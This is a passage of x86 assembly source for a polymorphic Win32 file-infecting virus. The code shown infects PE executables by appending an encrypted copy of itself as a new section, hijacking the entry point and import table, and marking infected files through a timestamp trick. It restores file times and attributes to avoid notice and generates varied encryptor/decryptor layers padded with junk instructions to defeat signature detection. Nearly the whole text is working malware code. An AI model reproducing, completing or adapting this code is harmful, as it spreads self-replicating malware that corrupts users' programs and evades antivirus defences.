Call MessageBoxA ; [!!!For DEBUG!!!]
Pop EDx
Cmp EAx,1h
Pop EBx
Jz Infect_0$
Push 30h ; OkOnly+Exclamation
Push EBx ; Infecting disabled
Push Offset InfCancelMsg ; by Creator
Push 0h
Call MessageBoxA
Push MemCommitSz/4h
Call FreeStackMem
Ret

Infect_0$: Mov FileNamePtr,EDx ; !!!Ready and Waiting!!!
Push EDx
Call GetFileAttributesA ; Get file attributes
Or EAx,EAx
Jz Infect_F0$
Mov FileAttributes,EAx
Push 80h ; File_Attribute_Normal
Push DWord Ptr FileNamePtr
Call SetFileAttributesA
Push 0h
Push 10000000h+80h ; FAN, FFRA
Push 3h ; OE
Push 0h
Push 1h ; FSR
Push 80000000h+40000000h ; GR/GW
Push DWord Ptr FileNamePtr
Call CreateFileA ; Try to open
Cmp EAx,-1
Je Infect_F1$
Mov FileHandle,EAx
Lea EAx,FileLastWrite ; Storing file Date/Time
Push EAx ; for future restoring
Lea EAx,FileLastAccess
Push EAx
Lea EAx,FileCreation
Push EAx
Push DWord Ptr FileHandle
Call GetFileTime

Lea EAx,FT_Struc ; Checking infection flag
Push EAx
Lea EAx,FileLastWrite
Push EAx
Call FileTimeToSystemTime
Mov Ax,FT_Year
Rol Ax,1
Xor Ax,FT_Month
Ror Ax,1
Xor Ax,FT_Day
Rol Ax,1
Xor Ax,FT_Hour
Ror Ax,1
Xor Ax,FT_Minute
Rol Ax,1
And Ax,3Ch
Cmp Ax,FT_Second ; Already! Good.
Je Infect_F2$
Mov NewSeconds,Ax

Push 0h
Lea EAx,ProcessedBytes ; Read the DOS file
Push EAx ; header
Push 40h
Lea EAx,DosHeader
Push EAx
Push DWord Ptr FileHandle
Call ReadFile
Or EAx,EAx ; Error reading
Jz Infect_F2$
Cmp DWord Ptr ProcessedBytes,40h
Jne Infect_F2$ ; Readed less then 40h bytes
Cmp Word Ptr DosHeader,'MZ'
Je Infect_F3$
Cmp Word Ptr DosHeader,'ZM'
Jne Infect_F2$
Infect_F3$: Cmp Word Ptr DosHeader[18h],40h
Jb Infect_F2$
Push 0h ; FileBegin
Push 0h
Push DWord Ptr DosHeader[3Ch]
Push DWord Ptr FileHandle ; Seek to PE Header start
Call SetFilePointer
Cmp EAx,-1
Je Infect_F2$
Push 0h ; Read the PEHeader
Lea EAx,ProcessedBytes
Push EAx
Push PEHeaderSize
Lea EAx,PEHeader
Push EAx
Push DWord Ptr FileHandle
Call ReadFile
Or EAx,EAx
Jz Infect_F2$ ; Error reading
Cmp DWord Ptr ProcessedBytes,PEHeaderSize
Jne Infect_F2$ ; Readed too less bytes
Cmp DWord Ptr PE_Sign,'EP'
Jne Infect_F2$

MovZx EAx,Word Ptr PE_NTHdrSize
Add EAx,DWord Ptr DosHeader[3Ch]
Add EAx,18h
Mov PEFileHeaders,EAx
Push 0h ; Seek to sections descr.
Push 0h
Push EAx
Push DWord Ptr FileHandle
Call SetFilePointer
Cmp EAx,-1 ; Error seeking
Je Infect_F2$
MovZx ECx,Word Ptr PE_NumOfSections
Or ECx,ECx ; No sections
Jz Infect_F2$
Mov EAx,SectSize
Mul ECx
Add EAx,PEFileHeaders
Add EAx,SectSize
Cmp EAx,PE_HeaderSize ; No room for new section!?
Ja Infect_F2$

Mov DWord Ptr ImportLegal,0h
Xor EDx,EDx
MovZx ECx,Word Ptr PE_NumOfSections
Infect_AS$: Inc EDx
Push ECx
Push EDx
Push 0h ; Read the section header
Lea EAx,ProcessedBytes
Push EAx
Push SectSize
Lea EAx,Section
Push EAx
Push DWord Ptr FileHandle
Call ReadFile
Pop EDx
Pop ECx
Or EAx,EAx ; Error reading
Jz Infect_F2$
Cmp DWord Ptr ProcessedBytes,SectSize
Jne Infect_F2$ ; Readed too less bytes
Cmp DWord Ptr ImportLegal,0h
Jne Infect_NS$ ; Import already detected!
Mov EAx,SectRVA
Cmp EAx,PE_ImportTableRVA
Ja Infect_NS$
Mov ImportRVA,EAx
Add EAx,SectVirtSize
Cmp EAx,PE_ImportTableRVA
Jbe Infect_NS$
Mov EAx,SectPhysOffs
Mov ImportPhysOffs,EAx
Mov EAx,SectFlags
Mov ImportFlags,EAx
Mov ImportOrder,EDx
Mov DWord Ptr ImportLegal,-1
Infect_NS$: Dec ECx
Jnz Infect_AS$
Cmp DWord Ptr ImportLegal,0h
Jz Infect_F2$ ; Import not found ?!

Mov EAx,DWord Ptr SelfSectionName
Mov SelfSectName,EAx ; SetUp self section name
Mov EAx,DWord Ptr SelfSectionName+4
Mov SelfSectName+4,EAx
Mov EAx,SectRVA
Add EAx,SectVirtSize
Mov EBx,PE_ObjectAlign
Call AlignDWordOnDWord
Mov SelfSectRVA,EAx ; SetUp self sect. RVA & Flags
Mov DWord Ptr SelfSectFlags,0E0000040h ; R/W/E, IData

Push 2h ; Seek to EOF
Push 0h
Push 0h
Push DWord Ptr FileHandle
Call SetFilePointer
Cmp EAx,-1
Je Infect_F2$
Push EAx ; SetUp self section
Mov EBx,PE_FileAlign ; Physical Offset
Call AlignDWordOnDWord
Mov SelfSectPhysOffs,EAx
Pop EBx
Sub EAx,EBx
Jz Infect_NoPreA$
Push EAx ; Need file alignment
Mov ECx,EAx
Lea EDi,VeryLargeBuffer
Cld
Xor Al,Al
Rep StosB
Pop ECx
Push ECx
Push 0h
Lea EAx,ProcessedBytes ; Write some null's into
Push EAx ; fucking file
Push ECx
Lea EAx,VeryLargeBuffer
Push EAx
Push DWord Ptr FileHandle
Call WriteFile
Or EAx,EAx
Pop ECx
Jz Infect_F2$
Cmp ECx,ProcessedBytes
Jne Infect_F2$

Infect_NoPreA$: Xor EBx,EBx
Lea EDi,VeryLargeBuffer ; Transfer self to memory
Mov ESi,Offset Start
Infect_Trans$: Mov Al,[ESi][EBx]
Mov [EDi][EBx],Al
Inc EBx
Cmp EBx,StubImportPlace
Jb Infect_Trans$

Mov EAx,9h ; Generate the set of
Call Random ; polymorphic cryptors
Add EAx,8h ; in range (8..16)
Mov CryptCnt,EAx
Lea EAx,VeryLargeBuffer
Add EAx,StubImportPlace
Mov EDi,EAx
Mov EAx,FixUpsCounter ; Depend on PELINK
Shl EAx,2h ; tool linking strategy!
Add EAx,FixUpsPlace
Mov GenCrSz,EAx
Xor EAx,EAx
Mov GenSz,EAx
Mov GenTotalSz,EAx
Infect_Gen$: Add EDi,1000h ; Maximal encryptor size!
Infect_Gen_A$: Lea ESi,[EDi-1000h]
Mov ECx,GenCrSz
Push EDi
Push EAx ; Make the cryptor pairs
Call GenPolyMorph
Pop EAx
Pop EDi
Cmp EBx,1000h
Ja Infect_Gen_A$
Mov Cryptors[EAx*8],EBx ; Encryptor size
Mov Cryptors[EAx*8+4],EDx ; Decryptor size
Add GenSz,EDx
Add GenCrSz,EDx
Add GenTotalSz,EDx
Add GenTotalSz,EBx
Xchg ESi,EDi
Mov ECx,EDx
Cld ; Pack cryptors
Rep MovsB
Inc EAx
Cmp EAx,CryptCnt
Jb Infect_Gen$

Lea EDi,VeryLargeBuffer
Mov EBx,Here
Mov ESi,FixUpsPlace
Mov ECx,FixUpsCounter ; UnDo FixUps
Infect_UnDo1$: Mov EAx,[ESi][EBx]
Sub [EDi][EAx],EBx
Add ESi,4h
Dec ECx
Jnz Infect_UnDo1$

Mov EAx,GenSz ; SetUp PolyMorph sizes
Mov EDx,Offset PolyMorphSz
Sub EDx,EBx
Mov [EDi][EDx],EAx
Mov EAx,PE_EntryPointRVA ; SetUp EntryPoint
Mov EDx,Offset StubEntryLabel
Sub EDx,EBx
Mov [EDi][EDx],EAx
Mov EAx,SelfSectRVA ; SetUp SelfPlace
Mov EDx,Offset CurrentPlace
Sub EDx,EBx
Mov [EDi][EDx],EAx
Mov EAx,PE_ImageBase ; SetUp ImagePlace
Mov EDx,Offset ImagePlace
Sub EDx,EBx
Mov [EDi][EDx],EAx
Mov EAx,1h ; SetUp Initialization Flag
Mov EDx,Offset InitOk
Sub EDx,EBx
Mov [EDi][EDx],EAx

Mov ESi,ImportPlace ; ReSetUp Import directory
Mov ECx,ImportLength
Infect_UnDo2$: Mov EDx,[ESi][EBx] ; Get LookUp pointer
Sub EDx,CurrentPlace
Sub EDx,PolyMorphSz
Push EDx
Infect_Un_2$: Mov EAx,[EDx][EBx] ; ReSetUp LookUp table
Or EAx,EAx
Jz Infect_Un_1$
Sub EAx,CurrentPlace
Sub EAx,PolyMorphSz
Add EAx,SelfSectRVA
Add EAx,GenSz
Mov [EDi][EDx],EAx
Add EDx,4h
Jmp Infect_Un_2$
Infect_Un_1$: Pop EDx
Add EDx,SelfSectRVA ; ReSetUp LookUp ptr
Add EDx,GenSz
Mov [EDi][ESi],EDx
Mov EDx,[ESi][EBx]+3*4 ; ReSetUp Name ptr
Sub EDx,CurrentPlace
Sub EDx,PolyMorphSz
Add EDx,SelfSectRVA
Add EDx,GenSz
Mov [EDi][ESi]+3*4,EDx
Mov EDx,[ESi][EBx]+4*4 ; ReSetUp ImprtAddress ptr
Sub EDx,CurrentPlace
Sub EDx,PolyMorphSz
Add EDx,SelfSectRVA
Add EDx,GenSz
Mov [EDi][ESi]+4*4,EDx
Add ESi,5*4
Sub ECx,5*4
Ja Infect_UnDo2$

Lea ESi,VeryLargeBuffer ; Crypt the self body
Mov ECx,StubImportPlace ; before writing it
Add ECx,GenTotalSz ; into desired file
Add ESi,ECx
Mov EDi,ESi
Add EDi,GenSz
Dec EDi
Dec ESi
Std ; Place buffer at
Rep MovsB ; program start
Mov ESi,StubImportPlace
Add ESi,EDi
Xor EAx,EAx
Infect_Crypt$: Push EAx
Mov ECx,Cryptors[EAx*8+4]
Lea EBx,[ESi+1]
Add ESi,ECx
Add ESi,Cryptors[EAx*8]
Push ESi
Push EDi
Std
Rep MovsB
Xchg EDi,[ESp]
Inc EDi
Push EBp
Push EDi
Call EBx ; Crypt by one cryptor
Pop EBp
Pop EDi
Pop ESi
Pop EAx
Inc EAx
Cmp EAx,CryptCnt
Jb Infect_Crypt$
Cld

Mov ECx,StubImportPlace
Add ECx,GenSz
Push ECx
Push 0h ; WRITE self body
Lea EAx,ProcessedBytes ; File pointer
Push EAx ; must be at file EOF
Push ECx
Lea EAx,VeryLargeBuffer
Push EAx
Push DWord Ptr FileHandle
Call WriteFile
Or EAx,EAx ; Error writing
Pop EAx
Jz Infect_F2$
Cmp EAx,ProcessedBytes
Jne Infect_F2$ ; Too less bytes written

Mov EAx,PE_ImportTableRVA ; Calculate import place
Sub EAx,ImportRVA ; in file
Add EAx,ImportPhysOffs
Push 0h
Push 0h
Push EAx
Push DWord Ptr FileHandle ; And seek in file at
Call SetFilePointer ; this position
Cmp EAx,-1
Je Infect_F2$ ; Error seeking
Lea EBx,VeryLargeBuffer
Infect_Trans1$: Push EBx
Push 0h
Lea EAx,ProcessedBytes ; Read the next import record
Push EAx
Push 5*4
Push EBx
Push DWord Ptr FileHandle
Call ReadFile
Pop EBx
Or EAx,EAx
Jz Infect_F2$ ; Errors. . .
Cmp DWord Ptr ProcessedBytes,5*4
Jne Infect_F2$
Add EBx,5*4 ; Last import record???
Cmp DWord Ptr [EBx][3*4][-5*4],0h
Jne Infect_Trans1$
Lea EAx,VeryLargeBuffer
Sub EBx,EAx
Push EBx
Push 2h ; Seek to EOF
Push 0h
Push 0h
Push DWord Ptr FileHandle
Call SetFilePointer
Pop EBx
Cmp EAx,-1 ; Errors. . .
Je Infect_F2$
Push EBx
Push 0h ; Write all import records
Lea EAx,ProcessedBytes ; to target file
Push EAx
Push EBx
Lea EAx,VeryLargeBuffer
Push EAx
Push DWord Ptr FileHandle
Call WriteFile
Pop EBx
Or EAx,EAx ; Errors. . .
Jz Infect_F2$
Cmp ProcessedBytes,EBx
Jne Infect_F2$
Add EBx,ImportLength ; Calculate the new import
Mov PE_ImportDataSz,EBx ; size and RVA
Mov EAx,SelfSectRVA
Add EAx,GenSz
Add EAx,ImportPlace
Mov PE_ImportTableRVA,EAx

Lea EDi,VeryLargeBuffer ; Generate some random trash
Mov EAx,100h
Call Random
Lea ECx,[EAx+10h]
Push ECx
Cld
Infect_Trash$: Mov EAx,100h
Call Random
StosB
Dec ECx
Jnz Infect_Trash$
Mov ECx,[ESp]
Push 0h ; and write it into
Lea EAx,ProcessedBytes ; fucking file, at them
Push EAx ; end
Push ECx
Lea EAx,VeryLargeBuffer
Push EAx
Push DWord Ptr FileHandle
Call WriteFile
Or EAx,EAx ; Error writing!
Pop EAx
Jz Infect_F2$
Cmp EAx,ProcessedBytes ; Too less bytes written
Jne Infect_F2$

Push 2h ; Seek to EOF
Push 0h
Push 0h
Push DWord Ptr FileHandle
Call SetFilePointer
Cmp EAx,-1 ; Seeking failure
Je Infect_F2$
Sub EAx,SelfSectPhysOffs ; SetUp self section sizes
Mov SelfSectVirtSize,EAx
Mov EBx,PE_FileAlign
Call AlignDWordOnDWord
Mov SelfSectPhysSize,EAx
Sub EAx,SelfSectVirtSize
Jz Infect_ToDone$ ; Need file align?
Mov ECx,EAx
Push ECx
Mov Al,0h ; Prepare aligning buffer
Cld
Lea EDi,VeryLargeBuffer
Rep StosB
Pop ECx
Push ECx ; And align the file
Push 0h
Lea EAx,ProcessedBytes
Push EAx
Push ECx
Lea EAx,VeryLargeBuffer
Push EAx
Push DWord Ptr FileHandle
Call WriteFile
Pop ECx
Or EAx,EAx ; Error writing!
Jz Infect_F2$
Cmp DWord Ptr ProcessedBytes,ECx
Jne Infect_F2$ ; Too less bytes written

Infect_ToDone$: Mov EAx,SelfSectVirtSize ; SetUp memory requirement
Mov EBx,PE_ObjectAlign
Call AlignDWordOnDWord
Add PE_ImageSize,EAx
Add PE_SizeOfIData,EAx
Mov EAx,SelfSectRVA ; SetUp Self EntryPoint
Mov PE_EntryPointRVA,EAx
Mov EAx,PE_StackReserveSz ; SetUp stack size
Add EAx,MemCommitSz ; (for placing temporary
Mov PE_StackReserveSz,EAx ; buffer)

MovZx EAx,Word Ptr PE_NumOfSections
Mov ECx,SectSize
Mul ECx
Add EAx,PEFileHeaders
Push 0h ; Prepare to write
Push 0h ; SelfSection descriptor
Push EAx
Push DWord Ptr FileHandle
Call SetFilePointer
Cmp EAx,-1 ; Errors. . .
Je Infect_F2$
Push 0h ; And write it!
Lea EAx,ProcessedBytes
Push EAx
Push SelfSectSize
Lea EAx,SelfSection
Push EAx
Push DWord Ptr FileHandle
Call WriteFile
Or EAx,EAx
Jz Infect_F2$ ; Errors. . .
Cmp DWord Ptr ProcessedBytes,SelfSectSize
Jne Infect_F2$

Mov ECx,DWord Ptr ImportOrder
Mov EAx,SectSize ; Prepare to write import
Mul ECx ; section flags
Add EAx,PEFileHeaders ; Warning!!!
Sub EAx,4h ; Import section Flags
Push 0h ; is the LAST field in
Push 0h ; section header structure
Push EAx ; !!!!!!!!!!!!!!!!!!!!!!!!
Push DWord Ptr FileHandle
Call SetFilePointer
Cmp EAx,-1h ; Seeking failure
Je Infect_F2$

Or DWord Ptr ImportFlags,0C0000000h
Push 0h ; Enable reading
Lea EAx,ProcessedBytes ; and writing
Push EAx ; in Import section
Push 4h
Lea EAx,ImportFlags
Push EAx
Push DWord Ptr FileHandle
Call WriteFile
Or EAx,EAx
Jz Infect_F2$ ; Errors. . .
Cmp DWord Ptr ProcessedBytes,4h
Jne Infect_F2$

Inc Word Ptr PE_NumOfSections ; New # of sections
Push 0h ; Prepare to writing
Push 0h ; PE header
Push DWord Ptr DosHeader[3Ch]
Push DWord Ptr FileHandle
Call SetFilePointer
Cmp EAx,-1
Je Infect_F2$
Push 0h
Lea EAx,ProcessedBytes
Push EAx
Push PEHeaderSize ; And write it
Lea EAx,PEHeader
Push EAx
Push DWord Ptr FileHandle
Call WriteFile
Or EAx,EAx
Jz Infect_F2$ ; Errors. . .
Cmp DWord Ptr ProcessedBytes,PEHeaderSize
Jne Infect_F2$

Mov Ax,NewSeconds ; Ok! Set infection flag.
Mov FT_Second,Ax
Lea EAx,FileLastWrite
Push EAx
Lea EAx,FT_Struc
Push EAx
Call SystemTimeToFileTime

Infect_F2$: Lea EAx,FileLastWrite ; Restore file Date/Time
Push EAx
Lea EAx,FileLastAccess
Push EAx
Lea EAx,FileCreation
Push EAx
Push DWord Ptr FileHandle
Call SetFileTime

Push DWord Ptr FileHandle ; Close our file. Ooh, Yes!
Call CloseHandle

Infect_F1$: Push DWord Ptr FileAttributes; Restore file attributes
Push DWord Ptr FileNamePtr
Call SetFileAttributesA
Infect_F0$: Push MemCommitSz/4h
Call FreeStackMem
Ret

; ---------------------------------------------------------
; Service routines
;
AllocStackMem: Pop EAx ; Allocate memory in Stack
Pop ECx ; Corrupt EAx,ECx !!!
Push EBp ; Do not use call stack
AllocStack_1$: Push 0h ; before this call
Dec ECx
Jnz AllocStack_1$
Mov EBp,ESp
Push EAx
Ret

FreeStackMem: Pop EAx ; Free memory in Stack
Pop ECx ; Corrupt EAx,ECx !!!
FreeStack_1$: Pop DropDWord ; Do not use stack
Dec ECx ; memory after this call
Jnz FreeStack_1$
Pop EBp
Push EAx
Ret
DropDWord Dd ?

AlignDWordOnDWord:
Push EDx
Xor EDx,EDx ; Align EAx by EBx boundary
Push EAx
Div EBx
Pop EAx
Or EDx,EDx
Jz AlignDWord_0$
Sub EAx,EDx
Add EAx,EBx
AlignDWord_0$: Pop EDx
Ret

; ---------------------------------------------------------
; My string converter ;-)
ConvertStr: Cld ; Convert some string
Call InitConverter ; in EDx with
Mov ESi,EDx ; possibly length in ECx
Lea EDi,SmallBuffer ; (Corrupt EDi,ESi,EAx)
Push ESi
Push EDi
Push ECx
Push EBx
Cmp ECx,-1h
Je Convert_Mode1$

Or ECx,ECx
Jz Convert_Done$
Convert_Mode0$: Call ProcessChar ; Counter mode
Dec ECx
Jnz Convert_Mode0$
Pop EBx
Pop ECx
Pop EDx
Pop ECx
Mov Byte Ptr Es:[EDi],0h
Sub EDi,EDx
Mov ECx,EDi
Ret

Convert_Mode1$: Call ProcessChar ; ASCIZ mode
Cmp Byte Ptr [ESi][-1],0h
Jne Convert_Mode1$
Pop EBx
Pop ECx
Pop EDx
Pop EAx
Ret

Convert_Done$: Pop EBx
Pop ECx
Pop EDi
Pop ESi
Mov Byte Ptr Es:[EDi],0h
Ret

ProcessChar: LodsB ; Process one char, empty
StosB ; strings are not allowed!!!
Cmp Al,'a'
Jb Process_1$ ; UpCase the source char
Cmp Al,'z'
Ja Process_1$
Sub Al,20h
Process_1$: Push ECx
Push EBx
Push EDx
Mov ECx,ConvertDataLen
Xor EBx,EBx ; Try the some variants
Process_Again$: Mov EDx,[EBx*4]ConvertVar
Mov Ah,[EDx]
Inc DWord Ptr [EBx*4]ConvertVar
Cmp Al,Ah ; Good char?
Jne Process_Bad$
Cmp Byte Ptr [EDx][1],0h ; Last char in variant?
Jne Process_Next$

Sub EDx,[EBx*8][ConvertData]
Sub EDi,EDx ; Make the replacing
Dec EDi
Push ESi
Mov ESi,[EBx*8+4][ConvertData]
Process_Do$: LodsB ; Transfer the real string
StosB ; converted by me ;-)
Cmp Al,0h
Jne Process_Do$
Dec EDi
Pop ESi
Push DWord Ptr [EBx*8][ConvertData]
Pop DWord Ptr [EBx*4]ConvertVar
Jmp Process_Ok$

Process_Bad$: Push DWord Ptr [EBx*8][ConvertData]
Pop DWord Ptr [EBx*4]ConvertVar
Process_Next$: Inc EBx ; Next variant
Dec ECx
Jnz Process_Again$
Process_Ok$: Pop EDx ; Char has been processed
Pop EBx
Pop ECx
Ret

InitConverter: Push EBx ; InitConverter routines
Push ECx
Mov ECx,ConvertDataLen
Xor EBx,EBx
InitConv_1$: Push DWord Ptr [EBx*8][ConvertData]
Pop DWord Ptr [EBx*4]ConvertVar
Inc EBx
Dec ECx
Jnz InitConv_1$
Pop ECx
Pop EBx
Ret

Transfer_Str: Cmp ECx,-1h ; More strict strings
Je Transfer_S_M$ ; moving routine
Or ECx,ECx
Jz Transfer_S_D$
Rep MovsB
Transfer_S_D$: Xor Al,Al
StosB
Ret

Transfer_S_M$: LodsB
StosB
Or Al,Al
Jnz Transfer_S_M$
Ret

; ---------------------------------------------------------
; The PolyMorph code has the such structure:
; PushA
; Call Start
; ...
; Sem: Dd 1h
; ...
; Start: Pop BaseReg
; Xor SemReg,SemReg (And SemReg,0) (Mov SemReg,0)
; LockSem: Xchg [BaseReg][Sem],SemReg
; Or SemReg,SemReg (Test SemReg,SemReg) (And SemReg,SemReg)
; Jz LockSem
; Cmp SemReg,2h
; Je Done
; Add BaseReg,CodeStart
; Add [BaseReg][Border],BaseReg
; .LoadRegisters
; Again: .Decrypt
; Add Base,4h (Inc Base) 4 times
; Cmp Base,Border
; Jb Again
; Sub BaseReg,CodeStart+CodeSize
; Done: Mov [BaseReg][Sem],2h
; PopA
; CodeStart:
;
; All code mixed with trash. . . Prepare to understand!

GenPolyMorph: Push ESi
Push EDi
Push ECx
Call GetNoESpReg ; Choose the 2 base
Mov pBaseReg,Al ; registers
Mov Bl,Al ; Base
GenPolyM_R$: Call GetNoESpReg
Cmp Bl,Al
Je GenPolyM_R$
Mov pSemReg,Al ; and Semaphore
Mov Byte Ptr pEnableEncr,0h
Mov ECx,5h
Mov EBx,Offset GenNoRegCom
Call Enumer
Mov Al,60h ; PushA
StosB
Mov Ax,-1h
Mov EBx,Offset GenAnyCom
Call Enumer
Mov Al,0E8h ; Call $+...
StosB
Mov EAx,50h
Call Random
Add EAx,10h
Push EAx
StosD
Mov pBase,EDi
Mov ECx,EAx
GenPolyM_C$: Mov EAx,100h
Call Random
StosB
Dec ECx
Jnz GenPolyM_C$
Pop EAx
Sub EAx,4h
Call Random
Mov pSem,EAx
Add EAx,pBase ; SetUp semaphore
Mov DWord Ptr [EAx],1h
Mov Al,pBaseReg ; Pop BaseReg
Or Al,58h
StosB
Mov Ah,-1h
Mov Al,pBaseReg
Mov ECx,5h
Mov EBx,Offset GenAnyCom
Call Enumer
Mov EAx,2h ; Xor SemReg,SemReg
Call Random
Or Al,Al
Jz GenPolyM_X$
Mov Al,2h
Call Random
Or Al,Al
Jz GenPolyM_XM$
Mov Al,81h ; (And)
StosB
Mov Al,pSemReg
Or Al,0E0h
StosB
Xor EAx,EAx
StosD
Jmp GenPolyM_XD$
GenPolyM_XM$: Mov Al,0B8h ; (Mov)
Or Al,pSemReg
StosB
Xor EAx,EAx
StosD
Jmp GenPolyM_XD$
GenPolyM_X$: Mov Al,2h ; (Xor)
Call Random
Add EAx,EAx
Or Al,31h
StosB
Mov Al,pSemReg
Shl Al,3h
Or Al,pSemReg
Or Al,0C0h
StosB
GenPolyM_XD$: Mov Al,pSemReg
Mov Ah,pBaseReg
Call Enumer
Mov pXchg,EDi
Mov Al,87h ; Xchg SemReg,[BaseReg][Sem]
StosB
Mov Al,pSemReg
Shl Al,3h
Or Al,80h
Or Al,pBaseReg
StosB
Mov EAx,pSem
StosD
Mov Al,pBaseReg
Mov Ah,pSemReg
Call Enumer
Mov EAx,4h ; Or SemReg,SemReg
Call Random
Jz GenPolyM_OC$
Mov Al,3h ; (And) (Test) (Or)
Call Random
Shl Al,3h
Mov Cl,Al
Mov EAx,092185h
Shr EAx,Cl
Cmp Al,85h
Je GenPolyM_O$
Push EAx
Mov EAx,2h
Call Random
Or Al,Al
Pop EAx
Jz GenPolyM_O$
Or Al,2h
GenPolyM_O$: StosB
Mov Al,pSemReg
Shl Al,3h
Or Al,pSemReg
Or Al,0C0h
StosB
Jmp GenPolyM_OD$
GenPolyM_OC$: Mov Al,83h ; (Cmp)
StosB
Mov Al,pSemReg
Or Al,38h
Or Al,0C0h
StosB
Xor Al,Al
StosB
GenPolyM_OD$: Mov ECx,5h
Mov EBx,Offset GenNoFlagCom
Call Enumer
Mov Ax,840Fh ; Jz LockSem
StosW
Mov EAx,pXchg
Sub EAx,4h
Sub EAx,EDi
StosD
Mov Al,pBaseReg
Mov Ah,pSemReg
Mov EBx,Offset GenAnyCom
Call Enumer
Mov Al,83h ; Cmp SemReg,2h
StosB
Mov Al,pSemReg
Or Al,0F8h
StosB
Mov Al,2h
StosB
Mov EBx,Offset GenNoFlagCom
Call Enumer
Mov Ax,840Fh ; Jz Done
StosW
Mov pMov,EDi
StosD
Mov Al,pBaseReg
Mov Ah,-1h
Mov EBx,Offset GenAnyCom
Call Enumer
Mov Al,81h ; Add BaseReg,CodeStart
StosB
Mov Al,pBaseReg
Or Al,0C0h
StosB
Mov pBaseAdd,EDi
StosD
Mov Al,pBaseReg
Mov Ah,-1h
Call ENumer
Mov Al,1h ; Add [BaseReg][Brdr],BaseReg
StosB
Mov Al,pBaseReg
Shl Al,3h
Or Al,80h
Or Al,pBaseReg
StosB
Mov pAdd,EDi
StosD
Mov Al,pBaseReg
Mov Ah,-1h
Call Enumer
Mov Byte Ptr pEnableEncr,1h
Mov Al,pBaseReg ; Encryptor, Pop BaseReg
Or Al,58h
Call StoreByte
Mov Al,87h ; Encryptor,
Call StoreByte ; Xchg BaseReg,[ESp]
Mov Al,pBaseReg
Shl Al,3h
Or Al,4h
Call StoreByte
Mov Al,24h
Call StoreByte
Mov Al,68h ; Encryptor, Push EncrSize
Call StoreByte
Mov EAx,[ESp]
Sub EAx,4h
Call StoreDWord
Mov EDx,1h ; .LoadRegisters
Mov Cl,pBaseReg
Shl EDx,Cl
Or EDx,10h
Mov Al,pBaseReg
Mov Ah,-1h
GenPolyM_L$: Push EAx
Call GenMovCom
Mov EAx,2h
Call Random
Or Al,Al
Pop EAx
Jz GenPolyM_L1$
Push EAx
Call GenNoRegCom
Pop EAx
GenPolyM_L1$: Cmp EDx,0FFh
Jne GenPolyM_L$
Mov ECx,5h
Mov EBx,Offset GenNoRegCom
Call Enumer
Mov Al,1h ; Encryptor, Border SetUp
Call StoreByte ; Add [ESp],BaseReg
Mov Al,pBaseReg
Shl Al,3h
Or Al,4h
Call StoreByte
Mov Al,24h
Call StoreByte
Mov pAgain,EDi
Mov pAgain_E,ESi
Mov EAx,40h ; 10h..50h commands
Call Random
Add EAx,10h
Mov ECx,EAx
GenPolyM_G0$: Mov EAx,3h ; .Decrypt
Call Random
Or Al,Al
Mov Al,pBaseReg
Mov Ah,-1h
Jnz GenPolyM_G1$
Call GenArCom
Jmp GenPolyM_G2$
GenPolyM_G1$: Call GenArMemCom
GenPolyM_G2$: Dec ECx
Jnz GenPolyM_G0$
Mov EAx,2h ; Add BaseReg,4h
Call Random
Or Al,Al
Jz GenPolyM_I2$
Mov Al,pBaseReg ; (Inc)
Or Al,40h
Mov ECx,4h
GenPolyM_I1$: StosB
Call StoreByte
Push EAx
Call GenNoRegCom
Pop EAx
Dec ECx
Jnz GenPolyM_I1$
Jmp GenPolyM_I3$
GenPolyM_I2$: Mov Al,83h ; (Add)
StosB
Call StoreByte
Mov Al,pBaseReg
Or Al,0C0h
StosB
Call StoreByte
Mov Al,4h
StosB
Call StoreByte
GenpolyM_I3$: Mov ECx,5h
Mov EBx,Offset GenArCom
Mov Al,pBaseReg
Mov Ah,-1h
Call Enumer
Mov Al,81h ; Cmp BaseReg,Limit
StosB
Mov Al,pBaseReg
Or Al,0F8h
StosB
Mov EAx,EDi
Sub EAx,pBase
Mov EBx,pAdd
Mov [EBx],EAx ; 1pass Complete Add command
Mov EAx,[ESp]
Sub EAx,4h
StosD
Mov Al,3Bh ; Encryptor, Border check
Call StoreByte ; Cmp BaseReg,[ESp]
Mov Al,pBaseReg
Shl Al,3h
Or Al,4h
Call StoreByte
Mov Al,24h
Call StoreByte
Mov EBx,Offset GenNoFlagCom
Call Enumer
Mov Ax,820Fh
StosW
Call StoreWord
Mov EAx,pAgain ; Complete Jmp Again commands
Sub EAx,EDi
Sub EAx,4h
StosD
Mov EAx,pAgain_E
Sub EAx,ESi
Sub EAx,4h
Call StoreDWord
Mov Al,58h ; Complete encryptor
Call StoreByte
Mov Al,0C3h
Call StoreByte
Mov Byte Ptr pEnableEncr,0h
Mov EBx,Offset GenAnyCom
Mov Al,pBaseReg
Mov Ah,-1h
Call Enumer
Mov Al,81h ; Sub BaseReg,CodeSize
StosB
Mov Al,pBaseReg
Or Al,0E8h
StosB
Mov pBaseSub,EDi
StosD
Mov Al,pBaseReg
Mov Ah,-1h
Call Enumer
Mov Al,0C7h ; Mov [BaseReg][Sem],2h
StosB
Mov Al,pBaseReg
Or Al,80h
StosB
Mov EAx,pSem
StosD
Mov EAx,2h
StosD
Mov EAx,EDi ; Complete Jmp Done command
Sub EAx,pMov
Sub EAx,4h
Mov EBx,pMov
Mov [EBx],EAx
Mov EBx,Offset GenAnyCom
Mov Ax,-1h
Call Enumer
Mov Al,61h ; PopA
StosB
Mov EBx,Offset GenNoRegCom
Call Enumer
Mov EAx,EDi ; Complete Base To Body SetUp
Sub EAx,pBase
Mov EBx,pBaseAdd
Mov [EBx],EAx
Mov EBx,pAdd ; 2pass Complete Add command
Sub [EBx],EAx
Mov EBx,[ESp] ; Backward Body to Base SetUp
Dec EBx
And Bl,0FCh ; Rounded by 4h
Add EAx,EBx
Mov EBx,pBaseSub
Mov [EBx],EAx
Pop ECx
Mov EDx,EDi ; All done successfully!
Sub EDx,[ESp] ; EDx - decryptor size
Mov EBx,ESi
Sub EBx,[ESp][4] ; EBx - encryptor size
Add ESp,8h
Ret

; ---------------------------------------------------------
GenArMemCom: Push EAx ; Some command that
Mov EAx,2h ; change memory by
Call Random ; base in EAx (Al)
Or Al,Al
Jz GenArMem_Imm$
Mov Al,2h ; Add; Sub (Reg)
Call Random
Or Al,Al
Jz GenArMem_R_1$
Mov Al,28h
GenArMem_R_1$: Or Al,1h
StosB
Xor Al,28h
Call StoreByte
Pop EAx
Push EBx
Mov EBx,EAx
GenArMem_R_2$: Call GetNoESpReg
Cmp Al,Bl
Je GenArMem_R_2$
Cmp Al,Bh
Je GenArMem_R_2$
Shl Al,3h
